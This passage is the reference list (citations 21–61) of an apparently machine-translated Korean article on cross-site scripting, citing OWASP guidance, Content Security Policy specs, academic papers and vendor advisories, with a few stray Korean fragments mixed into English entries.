  21. ^ "Self-XSS Facebook scam attempts to trick users into hacking themselves". www.majorgeeks.com. July 29, 2014. Retrieved September 20, 2016.
  22. ^ a b c Lakshmanan Ganapathy (February 16, 2012). "XSS Attack Examples (Cross-Site Scripting Attacks)". www.thegeekstuff.com.
  23. ^ Brodkin, Jon (October 4, 2007). "The top 10 reasons Web sites get hacked". Network World. IDG. Retrieved February 6, 2017.
  24. ^ a b Williams, Jeff (January 19, 2009). "XSS (Cross Site Scripting) Prevention Cheat Sheet". OWASP. Retrieved February 4, 2010.
  25. ^ "template - The Go Programming Language". golang.org. Retrieved May 1, 2019.
  26. ^ "Google Developers". Google Developers. Retrieved May 1, 2019.
  27. ^ "pug-plugin-trusted-types". npm. Retrieved May 1, 2019.
  28. ^ Sharma, Anand (February 3, 2004). "Prevent a cross-site scripting attack". IBM. Retrieved May 29, 2008.
  29. ^ a b "ModSecurity: Features: PDF Universal XSS Protection". Breach Security. Archived from the original on March 23, 2008. Retrieved June 6, 2008.
  30. ^ "Ajax and Mashup Security". OpenAjax Alliance. Archived from the original on April 3, 2008. Retrieved June 9, 2008.
  31. ^ O'Reilly, Tim (September 30, 2005). "What Is Web 2.0". O'Reilly Media. pp. 4–5. Retrieved June 4, 2008.
  32. ^ "페이지는 JavaScript가 없어도 열화된 형태로 동작해야 합니다.
  33. ^ "How to use security zones in Internet Explorer". Microsoft. December 18, 2007. Retrieved June 4, 2008.
  34. ^ Lie, Håkon Wium (February 7, 2006). "Opera 9 Technology Preview 2". Opera Software. Archived from the original on May 17, 2008. Retrieved June 4, 2008.
  35. ^ "NoScript". Mozilla. May 30, 2008. Retrieved June 4, 2008. 그리고
  36. ^ ""Using client-side events" in DataWindow Programmer's Guide". Sybase. March 2003. Archived from the original on June 18, 2008. Retrieved June 4, 2008.
  37. ^ 2006년 후반에는 사이트의 73%가 JavaScript에 의존했습니다.
  38. ^ "NoScript Features". Retrieved March 7, 2009.
  39. ^ "Content Security Policy Level 3". www.w3.org. Retrieved May 1, 2019.
  40. ^ Weichselbaum, Lukas (2016). "CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy" (PDF). Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. CCS '16: 1376–1387. doi:10.1145/2976749.2978363. ISBN 9781450341394. S2CID 16400010.
  41. ^ "Can I use... Support tables for HTML5, CSS3, etc". caniuse.com. Retrieved May 1, 2019.
  42. ^ "Strict CSP - Content Security Policy". csp.withgoogle.com. Retrieved May 1, 2019.
  43. ^ "How Google Is Using Content Security Policy to Mitigate Web Flaws". eWEEK. Retrieved May 1, 2019.
  44. ^ Akhawe, Devdatta. "[CSP] On Reporting and Filtering". Dropbox Tech Blog. Retrieved May 1, 2019.
  45. ^ Lekies, Sebastian; Kotowicz, Krzysztof; Groß, Samuel; Nava, Eduardo Vela; Johns, Martin (2017). "Code-reuse attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets" (PDF). {{cite journal}}:Cite 저널 요구 사항 journal=(도움말)
  46. ^ "Trusted Types Spec WIP". wicg.github.io. Retrieved May 1, 2019.
  47. ^ L. K. Shar 및 H. B. K. Tan, "웹 애플리케이션의 사이트 간 스크립팅 취약성 자동 제거", 정보 및 소프트웨어 기술, vol. 54, (5) 페이지 467-478, 2012.
  48. ^ Mark, Goodwin; Mike, West. "Same-site Cookies". tools.ietf.org. Retrieved May 4, 2018.
  49. ^ "Can I use... Support tables for HTML5, CSS3, etc". caniuse.com. Retrieved May 4, 2018.
  50. ^ Di Paola, Stefano (January 3, 2007). "Adobe Acrobat Reader Plugin - Multiple Vulnerabilities". Wisec.it. Retrieved March 13, 2012.
  51. ^ Suggi Liverani, Roberto (April 26, 2017). "UXSS in McAfee Endpoint Security, www.mcafee.com and some extra goodies..." blog.malerisch.net. Retrieved May 3, 2017.
  52. ^ "Security hole in Internet Explorer allows attackers to execute arbitrary programs". Heise Media UK. May 16, 2008. Retrieved June 7, 2008.
  53. ^ Suggi Liverani, Roberto (April 21, 2010). "Cross Context Scripting in Firefox" (PDF). Security-Assessment.com. Retrieved May 3, 2017.
  54. ^ "Update available for potential HTTP header injection vulnerabilities in Adobe Flash Player". Adobe Systems. November 14, 2006. Retrieved June 7, 2008.
  55. ^ Auger, Robert (April 17, 2008). "The Cross-Site Request Forgery (CSRF/XSRF) FAQ (version 1.59)". Cgisecurity.com. Retrieved June 7, 2008.
  56. ^ Schneider, Christian. "CSRF and same-origin XSS". www.webappsecblog.com. Archived from the original on August 14, 2012. Retrieved April 21, 2012.
  57. ^ "OAuth 2.0 and OpenID Redirect Vulnerability". Hacker News. May 2, 2014. Retrieved December 21, 2014.
  58. ^ Scharr, Jill (May 2, 2014). "Facebook, Google Users Threatened by New Security Flaw". Tom's Guide. Retrieved December 21, 2014.
  59. ^ "SQL Injection". Web Application Security Consortium. 2005. Retrieved June 7, 2008.
  60. ^ "The Cross-Site Scripting FAQ". Cgisecurity.com. 2002. Retrieved June 7, 2008.
  61. ^ Abgrall, Erwan; Traon, Yves Le; Gombault, Sylvain; Monperrus, Martin (2014). "Empirical Investigation of the Web Browser Attack Surface under Cross-Site Scripting: An Urgent Need for Systematic Security Regression Testing". 2014 IEEE Seventh International Conference on Software Testing, Verification and Validation Workshops (PDF). pp. 34–41. doi:10.1109/ICSTW.2014.63. ISBN 978-1-4799-5790-3. S2CID 8028548.

추가 정보

외부 링크